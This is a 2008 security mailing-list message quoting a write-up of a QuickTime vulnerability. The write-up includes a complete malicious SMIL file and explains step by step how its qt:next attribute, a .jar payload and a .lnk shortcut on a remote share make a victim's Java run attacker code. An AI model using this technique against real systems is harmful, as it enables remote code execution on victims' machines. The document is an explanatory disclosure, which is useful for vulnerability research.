“.jar is the file extension of the JAR archive, a ZIP archive with a manifest 
file which instructs the Java interpreter what class should be executed as the 
main one. .jar files are executable as long as you have Java on your system”
关键是我从没搞过jar,but http://www.ibm.com/developerworks/cn/java/j-jar/#jartool 
hahahaha……
  ----- Original Message ----- 
  From: 大风 
  To: [email protected] 
  Sent: Wednesday, September 10, 2008 5:10 PM
  Subject: [Ph4nt0m] [zz]Details of the QuickTime Vulnerability


   

  Let’s start with an example. The following is the source code of a malicious 
QuickTime SMIL file:

  SMILtext <smil

  xmlns:qt="http://www.apple.com/quicktime/resourc

  es/smilextensions" qt:autoplay="true"

  qt:next="file://172.16.3.124/evil/evil.lnk">

  <body>

  <seq repeatCount="indefinite">

  <img src="test.jpg" dur="1s"/>

  <img src="test.jpg" dur="1s"/>

  </seq>

  </body>

  </smil>

  First of all, we start with the SMIL header (SMILtext). This is necessary in 
order to masquerade the file as a different file type, i.e. if we paste the 
above text into a file with extension .mp3, it will still play in QuickTime. We 
can use practically any other file extension which defaults to the QuickTime 
player.

  After that we follow with a very standard SMIL document. The most interesting 
information in order to make the exploit works is contained inside the qt:next 
attribute of the smil root element. This attribute instructs QuickTime to play 
another media file after we are done with the current one. The attribute 
expects a URL which can start with the file:// protocol handler. This is 
understandable since we might want to play local files as well as remote ones, 
i.e. http://.

  The URL is passed to the FileProtocolHandler from url.dll. The function 
understands that we are asking for a local resource. However, pay attention on 
the format of the URL we are passing. Let’s take a closer look:

  file://172.16.3.124/evil/evil.lnk

  Most of you will recognize that this is a URL which points to a NETBIOS share 
located on 172.16.3.124. 

  Perhaps you are thinking that this is the problem. Well yes, but we are not 
there just yet. Initially, when I was playing with this bug, I was trying to 
launch a URL like this one: file://172.16.3.124/evil/evil.exe. The URL points 
to an executable. Unfortunately, the attack was failing because usually XP SP1 
and up, I believe (excuse my ignorance), will warn you that you are trying to 
execute an application from an untrusted share. Typically, you will see a 
warning box but because FileProtocolHandler suppresses that, the function 
silently fails. I’ve tried with .bat, .cmd, .vbs, .js, .application and other 
known executable file formats but none of them seamed to work. This is due to 
the fact that the operating system knows that these files are executables and 
could harm your system, therefore it prevents their execution.

  So I needed to find a file format which is executable but Windows does not 
know about it just yet. It seems that .jar fits perfectly my requirements. .jar 
is the file extension of the JAR archive, a ZIP archive with a manifest file 
which instructs the Java interpreter what class should be executed as the main 
one. .jar files are executable as long as you have Java on your system.

  So we are done! Right? No quite. If you try to send 
file://172.16.3.124/evil/evil.jar to FileProtocolHandler you will notice that 
java.exe fails with an error messages informing you that there is no such 
class. What happens is that Java does not understand what 
file://172.16.3.124/evil/evil.jar actually is. This is due to the fact that the 
URL notation we are using is non-standard, i.e. it is made up by Microsoft’s 
engineers to seamlessly incorporate NETBIOS shares into the operating system.

  So what do we do? It took me some time to figure this out. My approach is 
very simple. First of all we create a simple .lnk (link/shortcut) file in the 
same directory where the malicious .jar file is located. Then we use the 
shortcut to rewrite the URL from file://172.16.3.124/evil/evil.jar to 
\\172.16.3.124\evil\evil.jar, which is the correct NETBIOS notation. The Java 
interpreter is very much aware of this syntax and it will happily load the file 
and attack the victim’s system.

  In summary, I had to go from QuickTime to Windows Internals to URL 
Manipulation to Java. However, the attack is very simple to implement and 
understand, yet very effective. I must say that you can definitely win a laptop 
on the annual POWN2OWN contest by using as simple trick as the one presented 
here. Security vulnerabilities do not have to be complicated!

  I am planning to talk about the impact of this attack in my next post.

   

   

  [Ph4nt0m] 

  [Ph4nt0m Security Team]

                    [EMAIL PROTECTED]

            Email:  [EMAIL PROTECTED]

            PingMe: 

            === V3ry G00d, V3ry Str0ng ===

            === Ultim4te H4cking ===

            === XPLOITZ ! ===

            === #_# ===

  #If you brave,there is nothing you cannot achieve.#

   

   


  

--~--~---------~--~----~------------~-------~--~----~
 要向邮件组发送邮件,请发到 [email protected]
 要退订此邮件,请发邮件至 [EMAIL PROTECTED]
-~----------~----~----~----~------~----~------~--~---

<<inline: image001.gif>>

回复